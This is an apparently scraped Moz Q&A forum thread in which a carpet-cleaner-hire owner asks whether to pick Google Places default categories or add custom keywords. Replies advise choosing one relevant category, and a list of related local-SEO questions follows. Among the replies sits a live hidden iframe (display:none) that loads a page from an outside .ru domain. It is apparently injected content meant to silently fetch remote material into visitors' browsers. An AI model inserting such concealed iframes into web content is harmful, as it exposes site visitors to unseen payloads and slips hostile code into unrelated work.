Google Places - Should my category choice be manual keywords or selected from default list
-
Hi All,
I have a carpet cleaner hire business and am new to google places. I have been doing my listing for it but can't seem to work out whether I should choose one of the default choices in the categories and leave it as that (in my case it would be "carpet cleaning services" or should I manually type some keywords as well as this ? So for instance, I choose the default - carpet cleaning services but also manually type in "carpet cleaner hire" , floor scrubber hire etc etc as other categories
Any advice or if someone could point me in the right direction would be greatly appreciated.
thanks
Pete
-
Many thanks All. This has answered my query.
Pete
<iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
-
Hi Pete,
I'm puzzled by what you are asking. I didn't think custom categories were available any longer, as I thought pretty much all dashboards had been upgraded to the newer Google And Your Business > Google My Business dashboard, which should not allow custom categories. Unless I've totally missed something, I don't believe custom categories exist anymore as an option in GMB or MapMaker.
-
Choose the most relevant primary category, in this case I would pick the default "carpet cleaning services."
Unless there is another category or service that is not described by that one category, I would not add additional ones. Your example seems like your trying to stuff as many keyword as possible, including synonyms.
For example, "Carpet cleaning hire" is essentially a duplicate of carpet cleaning services, but if they also do upholstery, you could add the category upholstery cleaning. Having less (or only one) category will place the most weight on those services.
-
From my experience Google uses the manually input categories in conjunction with other listing data. I would select carpet cleaners and floor care (if they have that) and then in the about section use some anchor text going back to individual service pages,
eg. We provide
Carpet cleaning (link to carpet cleaning page) and other floor care related services.
Also make sure to get your other listings in order and use https://moz.com/local/categories/category/Carpet Cleaning Service for getting your categories consistent.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
2 Businesses, Same Location, Different Google My Business Accounts?
This is not my area of expertise, but I have a customer with a unique problem. They are primarily an agency that assists student-athletes nationwide with the college recruiting process. They also have a non-profit organization that runs soccer camps for local kids only. The soccer camp would of course benefit from having it's own GMB page, but they've been told by Google that they can't use the same address as their recruiting business. They are in the same office and moving/adding an office isn't an option at this time. Does anyone have any ideas on how to overcome this issue without risking penalty from Google? Should they change their business name to combine both and add categories for their non-profit? They're such disparate businesses that I'm reluctant to have them do this, but is that the best/only option? Thanks all!
Local Listings | | camarin_w1 -
Maps: How to get business showing for [keyword] + [location]
Hi there, I'd like to know how to improve a business listing so that it shows up not only when people type in the company name but also when they type in keywords related to that company. Say the company is a yacht broker based in Portsmouth. How would I get their listing to show in Google Maps when people search for: 'yacht broker' (when Google knows their location is near Portsmouth) and 'yacht broker portsmouth' or 'yacht broker hampshire'. Many thanks.
Local Listings | | Bee1591 -
Top Local Organic Rankings, But Nowhere to be found on Google Snack Pack
I've been working with a local gym for a while now. We successfully got the gym to beat out all its competitor and now it consistently ranks in the 3rd or 4th result for all major local industry keywords. For example "gym in [city]". The only thing above us is Yelp and other directory sites. The problem I am running into is we do well organically, but when it comes to Google Snack Pack we aren't in the top three or even 10. You have to go deep into the next pages of the map to find our business. I did find that we use to be categorized as health club in Google My Business, but I changed that three months ago. Some more additional info, the site when I got the account moved to a different url. So many directories and sites that linked to us in the past link to the old url. The old url is 301 redirected to our current url. I haven't found much info about this topic and am looking for any experience or insight?
Local Listings | | JasonKhoo0 -
Google Local Listing Ranking/Traffic Metrics in the Google Search Console?
A client of mine asked me if it was possible to see local listing data (ranking/traffic stats) in the Google Search Console for a URL. I figured the Google Search Console only shows organic metrics not 3-pack/local listing performance. However I could be mistaken. Does the Google Search Console report this?
Local Listings | | RosemaryB0 -
Google Plus showing on maps but now showing up google.com search organic.
Hello All, How are you doing? Please try to help me again. I have big trouble with my google plus business and never back ranking for 2 years. Before 2 years my google plus business #1 page google with any keywords: nail salon pigeon forge tn nail salon sevierville tn pedicure pigeon forge nail salon, nail shop pigeon forge,.... My google plus business: http://plus.google.com/+Sassy-nails/ website:http://sassy-nails.com http://sassy-nails.com after i claimed another page to the same account. I lost all review, stars and scores 2 days ago It was been back again but All ranking losting all. and not Whe I seach google.com organic" My listing " http://plus.google.com/+Sassy-nails/about It is not showing up on google.com oganic ranking but I will showing on my. Please big help for me please. the link i attach here" Sassy nails salon " Under " Hair Expo" and top " Spazzi nails" i am looking farward to here you soon. @35.8475624,-83.5896836,12z
Local Listings | | sassynailsalon0 -
For companies with multiple locations, does Google mind "Duplicate Content" in local (maps) business descriptions?
I have about 20 locations for my counseling company "Thriveworks" on google. I am getting ready to submit a spreadsheet and take advantage of the new "bulk upload" to manage these locations. Each of my locations has a description that is basically the same in terms of sentiment, but 100% original content (because Google has historically hated duplicate content). 1) Should I copy and paste each location's current unique description into the spreadsheet, or just write one very good description and copy it for all 20 locations?2) Does Google like/dislike "duplicate content" as it applies to business descriptions?3) Is changing a location's description likely to temporarily harm the "ranking" of my business location in search results?Will really appreciate any help...
Local Listings | | Thriveworks-Counseling0 -
Google Authorship issues with a 200+ person company
So, I wanted to say thank you ahead of time for any help the amazing Moz community may be able to provide me with. I am going to start with giving a little background to the company I work for and then I will ask the question. We are a 200 person CFO Services firm (www.b2bcfo.com). We have partners almost all over the country and our research with potential partners and clients has shown that they like having a national presence, but they also need a regional/local presence too. To that end, we set up Google Places accounts for each of our partners as they are technically separate businesses under our umbrella. We also have the main national site (www.b2bcfo.com) and we have regional websites (e.g. www.houstonb2bcfo.com). We want to set up Google Authorship on each of our partners sections of the regional website, in the process of setting this up, we realized that the Google Plus pages we were using were Local + pages and it didn't seem to give us the option to add the "Contributor on" links to get Google Authorship working. It seems to me as if the only way we can get Google Authorship working is to set up additional Google Plus accounts (users) and then manage 2 accounts for each professional. I was wondering if anyone in the community knows a way of getting the Google plus local pages to work with authorship? Or do you have any other suggestions on how this may work? Please let me know if you need more information, Thank you.
Local Listings | | B2B.CFO0 -
Google won't index my site?
Hi, I've just signed up and am new to SEO. I placed my site live around mid December 2013. Initially I got 2 pages indexed but now not even they show up for site:www.traditional-cleaning.co.uk. According the Moz analytics I have 3 pages with duplicate content which are: http://traditional-cleaning.co.uk/http://traditional-cleaning.co.uk/index.htmhttp://traditional-cleaning.co.ukProblem is I have no idea how to fix this, don't know whether Google isn't indexing my site because of this and generally am a bit stuck! Can anyone have a quick look at my site and give me a push in the right direction?
Local Listings | | EdwardoUK0